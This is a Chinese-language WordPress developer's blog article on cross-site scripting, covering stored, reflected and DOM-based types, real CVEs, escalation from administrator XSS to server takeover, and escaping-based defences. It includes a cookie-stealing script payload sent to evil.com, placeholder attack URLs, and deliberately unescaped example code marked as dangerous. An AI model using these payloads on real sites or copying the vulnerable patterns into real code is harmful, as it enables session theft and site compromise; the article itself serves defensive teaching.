WordPress XSS 攻擊:漏洞成因與真實 CVE 攻擊案例

裝一個有兩百萬人在用的外掛,照理說該是最安全的選擇,但 2023 年 5 月,Advanced Custom Fields 就因為一行沒做輸出轉義的程式碼,讓這兩百萬個網站全部暴露在 XSS 攻擊之下。

XSS 攻擊(Cross-Site Scripting,跨網站指令碼)是一種網頁安全漏洞,指攻擊者把惡意的 JavaScript 注入到一個可信任的網站裡,當其他使用者瀏覽這個頁面時,這段程式碼會在受害者的瀏覽器中、以這個網站的身分被執行。對 WordPress 來說,這個問題特別棘手,它的核心、佈景主題、上萬個外掛都在不斷地接收使用者輸入,再把這些輸入印回頁面,每一個沒做好轉義的環節都是一個漏洞。

這篇文章我想從 WordPress 開發者的角度,拆解這些漏洞具體漏在哪一行程式碼,再用真實的 CVE 案例說明它們實際被用在哪些攻擊上。

為什麼 WordPress 是 XSS 的重災區

XSS 的本質很單純:使用者輸入的資料,變成了程式的一部分,任何一個 Web 應用都可能中標,但 WordPress 有幾個先天條件讓它的風險被放大。

第一,外掛生態龐大但品質參差,一個中型的 WooCommerce 站台裝二三十個外掛是常態,每個外掛都有自己的表單、自己的設定頁、短碼。只要其中一個外掛在輸出時忘了轉義,整個站就會陷入風險之中。

第二,WordPress 後台的權限極大。管理員不只能改文章,還能透過「外觀 → 佈景主題檔案編輯器」直接編輯 PHP 檔案,也能安裝任意外掛,這代表一旦 XSS 在管理員的瀏覽器中執行,攻擊者拿到的就不只是 Cookie,而是改寫伺服器程式碼的能力。後面會詳細講這種攻擊方式。

外掛出現 CVE 漏洞並不是罕見的事,我自己開發的外掛就踩過一次——原本是為長輩設計的 LINE 登入功能,最後卻變成一個 CVE 漏洞,寫得再小心,都可能在某個沒注意到的環節漏掉。

第三,很多開發者誤以為 sanitize_text_field() 做完就安全了,所謂輸出轉義,就是在資料印到頁面之前,把 <>&" 這類符號轉換成 HTML 實體(例如 < 變成 &lt;),讓瀏覽器把它當成要顯示的文字,而不是要執行的程式碼,輸入過濾和輸出轉義是兩件事,少做後者一樣會出事。

三種 XSS 攻擊手法,在 WordPress 各自怎麼產生

先看一張對照表,這是理解 XSS 最快的方式:

類型載入位置觸發條件嚴重度
Stored存進 server(DB/檔案)受害者瀏覽該頁就中最高
ReflectedURL 參數/表單,server 直接回顯受害者點特製 URL
DOM-basedURL hash/localStorage/前端 JS 讀受害者點特製 URL中(但難追)

差別的核心在於「惡意腳本是在哪裡、被誰組進頁面的」,Stored 存在伺服器,Reflected 由伺服器即時回顯,DOM-based 則完全在瀏覽器端發生,伺服器全程沒參與,接著一個一個看 WordPress 的實際情境:

儲存型(Stored XSS):寫進資料庫的未爆彈

儲存型 XSS 是最危險的一種,因為它不需要任何社交工程,攻擊者把惡意腳本存進網站資料庫,之後每一個瀏覽那個頁面的人都會中招。

WordPress 裡最典型的入口就是留言、使用者個人簡介、自訂欄位、表單外掛這些會把輸入寫進 DB 的地方,看一段有問題的程式碼:

// 危險:使用者暱稱直接存進 DB,輸出時也沒轉義。
$nickname = $_POST['nickname'];
update_user_meta( $user_id, 'nickname', $nickname );

// 之後在前台某個頁面輸出。
echo '<span class="author">' . get_user_meta( $user_id, 'nickname', true ) . '</span>';

如果有人把暱稱設成 <script>fetch('https://evil.com?c='+document.cookie)</script>,這段腳本就會被存進 wp_usermeta,之後在每一個顯示這個暱稱的頁面上自動執行。

真實案例就是 WordPress 核心的 CVE-2015-3440。這個漏洞影響 4.2.1 之前的所有版本,問題出在 wp-includes/wp-db.php。攻擊者送出一則超過 64 KB 的超長留言,MySQL 的 TEXT 欄位上限剛好是 64 KB,留言會被硬生生截斷,截斷的位置讓 HTML 標籤破格,於是攻擊者塞在留言裡的 <script> 就逃出了原本的引號限制。這是一個未經身分驗證就能觸發的漏洞,任何訪客都能在留言區留下這顆未爆彈。

反射型(Reflected XSS):藏在網址裡的陷阱

反射型 XSS 的腳本不存進資料庫,而是夾帶在請求裡(通常是 URL 參數),伺服器收到後直接「反射」回頁面。它需要誘騙受害者點擊一個特製的連結才會生效。

WordPress 裡最常見的破口是把 $_GET 參數直接印回頁面的搜尋結果、錯誤訊息、後台設定頁:

// 危險:把網址參數直接印回頁面。
$keyword = $_GET['s'];
echo '<p>您搜尋的關鍵字是:' . $keyword . '</p>';

攻擊者只要給受害者一個這樣的網址,腳本就會執行:

https://victim-site.com/?s=<script>/* 竊取 Cookie 的程式碼 */</script>

前面提到的 CVE-2023-30777 就是這一型,而且是教科書等級的案例。Advanced Custom Fields 與 ACF Pro 這兩個累計超過兩百萬安裝量的外掛,問題出在 admin_body_class 這個處理函式——它負責產生後台 <body> 標籤的 CSS class,卻沒有對某個 hook 的輸出值做轉義。

攻擊者建立一個帶有惡意參數的後台網址,誘騙已登入的管理員點擊,腳本就會以管理員的權限執行。Patchstack 的研究員 Rafie Muhammad 在 2023 年 5 月 2 日通報,官方兩天後就發布 6.1.6 與 5.12.6 修補。兩天的反應速度很快,但兩百萬個站要等多久才會更新,是另一回事。

DOM 型(DOM-based XSS):伺服器完全不知情

DOM 型 XSS 最特別的地方,是整個攻擊過程伺服器完全沒參與。漏洞存在於前端 JavaScript:程式從 location.hashlocation.searchlocalStorage 讀資料,再不經處理就寫進 DOM。因為惡意內容從頭到尾沒進過伺服器,server 端的 log 看不到任何異常,這也是它難追的原因。

WordPress 的佈景主題和外掛裡到處是這種前端腳本。一個常見的反模式是用網址 hash 做分頁切換:

// 危險:把網址 hash 直接寫進 innerHTML。
const tab = location.hash.substring( 1 );
document.getElementById( 'content' ).innerHTML = tab;

或是更隱蔽的 jQuery 選擇器陷阱。WordPress 長年內建 jQuery,而舊版 jQuery 的 $() 會把以 # 開頭、內含 HTML 的字串當成 HTML 解析執行(對應 CVE-2011-4969):

// 危險:舊版 jQuery 把 hash 當 HTML 解析。
$( location.hash );

攻擊者準備這樣的連結就能觸發:

https://victim-site.com/#<img src=x onerror="/* 惡意程式碼 */">

防禦的關鍵是改用 textContent 取代 innerHTML,或在寫入前做轉義,並讓 WordPress 與 jQuery 保持在最新版本。

從一個 XSS 漏洞,到整台伺服器被接管

讀到這裡你可能會問:反射型 XSS 在 CVSS 上通常只評為「中」,為什麼值得這麼緊張?答案藏在 WordPress 後台的權限設計裡。

關鍵在於 WordPress 管理員的能力遠超過「管理內容」。一個管理員預設可以:

  • 透過「外觀 → 佈景主題檔案編輯器」或「外掛 → 外掛檔案編輯器」直接改寫伺服器上的 PHP 檔案
  • 安裝任意外掛
  • 透過 REST API 與 admin-ajax.php 建立新使用者

把這些能力跟 XSS 串起來,攻擊鏈就完整了。以 CVE-2023-30777 為例:攻擊者誘騙管理員點一個連結 → 腳本以管理員身分在 wp-admin 裡執行 → 這段腳本帶著管理員的登入狀態和 nonce,背景呼叫 REST API 建立一個新的管理員帳號,或是直接往佈景主題的 functions.php 寫進一段 PHP webshell。從這一刻起,攻擊者要的就不再是一個 Cookie,而是整台伺服器。

同樣的邏輯也適用於 CVE-2015-3440。一個未登入的訪客在留言區留下惡意腳本,當管理員在後台審核留言、打開那則留言的頁面時,腳本就在管理員的瀏覽器中被觸發。官方的漏洞說明寫得很直白:在預設設定下,攻擊者可以藉此透過外掛與佈景主題編輯器在伺服器上執行任意程式碼。

想更深入理解攻擊者怎麼從一個小漏洞反推出整條利用鏈,我之前寫過一篇逆向走一次 WordPress 外掛漏洞、學會資安稽核的攻擊者思維,可以搭配著看。

這就是為什麼那張表把 Stored XSS 標成「最高」嚴重度,也是為什麼在 WordPress 的情境下,連「中」等級的 Reflected XSS 都不能輕忽——它的終點常常是伺服器上的 RCE(遠端程式碼執行)。

WordPress 開發者該怎麼防

防禦 XSS 沒有魔法,核心就一句話:永遠不要信任任何輸入,而且在輸出的當下做轉義。WordPress 已經把工具備齊了,問題只在於有沒有用對地方。

輸出轉義要選對函式。 這是最關鍵、也最常被漏掉的一步。WordPress 針對不同的輸出情境提供了不同的轉義函式,用錯地方等於沒做:

// 純文字內容。
echo esc_html( $value );

// HTML 屬性裡。
echo '<input type="text" value="' . esc_attr( $value ) . '">';

// 網址。
echo '<a href="' . esc_url( $url ) . '">連結</a>';

// 需要保留部分 HTML 標籤時,用白名單過濾。
echo wp_kses_post( $content );

輸入過濾在資料進來時做。 從前端傳到後端的資料一律先過濾再使用。以最常見的 AJAX nonce 為例:

// 先驗證 nonce,再 sanitize 每一個欄位。
$nonce = ( isset( $_POST['nonce'] ) ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';
if ( ! wp_verify_nonce( $nonce, 'my_action' ) ) {
    wp_send_json_error( '驗證失敗' );
}

$nickname = ( isset( $_POST['nickname'] ) ) ? sanitize_text_field( wp_unslash( $_POST['nickname'] ) ) : '';

要記住的是,輸入過濾和輸出轉義是兩道獨立的防線。sanitize_text_field() 會去掉標籤,但它的設計目的不是輸出安全,真正擋下 XSS 的是輸出時的 esc_html()。兩者都要做。

前端用 textContent,不要用 innerHTML。,處理 DOM 型 XSS 時,把使用者可控的資料寫進 textContent 而非 innerHTML,瀏覽器就會把它當純文字而非可執行的程式碼。

最後一道防線是 CSP。 在 HTTP 回應標頭設定 Content-Security-Policy,限制瀏覽器只能載入和執行特定來源的腳本。即使前面所有防線都破了,一個嚴格的 CSP 也能讓注入的 <script> 無法執行,大幅限制傷害範圍。另外替敏感 Cookie 加上 HttpOnly 屬性,讓 JavaScript 讀不到 document.cookie,至少能擋掉最常見的 Cookie 竊取。

小結

把 WordPress 的 XSS 防禦濃縮成一份開發檢查清單:

  1. 輸出一律轉義 — 依情境選 esc_html()esc_attr()esc_url()wp_kses_post(),這是擋下 XSS 最關鍵的一步
  2. 輸入先過濾 — 所有 $_POST / $_GET 資料先 sanitize_* + wp_unslash,AJAX 一定先驗 nonce
  3. 前端避開 innerHTML — 用 textContent,並讓 jQuery 與核心保持更新
  4. 部署 CSP 與 HttpOnly — 當作前面全破時的最後一道防線
  5. 外掛保持更新 — CVE-2023-30777 從通報到修補只花兩天,但漏洞的真正壽命取決於你多久更新一次

XSS 看起來像是前端的小問題,但在 WordPress 的權限設計下,它的終點常常是整台伺服器,從每一次 echo 都記得轉義開始,XSS 只是 WordPress 眾多攻擊面的其中一種,弱密碼、檔案竄改、XML-RPC 這些破口同樣會被攻擊者盯上,這部分可以參考WordPress 安全防護實戰這篇延伸閱讀。

目錄

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

這個網站採用 Akismet 服務減少垃圾留言。進一步了解 Akismet 如何處理網站訪客的留言資料

Picture of 賴俊吾 / Oberon Lai
賴俊吾 / Oberon Lai

現為全職 WordPress 工程師,網站開發經歷 11 年,專攻前端工程與 WordPress 佈景主題、外掛客製化開發

訂閱電子報

Hi,我是 Oberon,我會固定在每週五早上發送接案心得以及與 WordPress 相關的電子報,同時也會分享一些實用的開發知識,讓你在 WordPress 的接案路上不孤單!

專注於分享 WordPress 開發、接案技巧、專案管理等自由工作者必備知識與心得

© 2025 想點創意科技有限公司

想點創意科技有限公司 | 統一編號 90516823
Designed by Hend Design | 隱私權政策

訂閱電子報

Hi,我是 Oberon,我會固定在每週五早上發送接案心得以及與 WordPress 相關的電子報,同時也會分享一些實用的開發知識,讓你在 WordPress 的接案路上不孤單!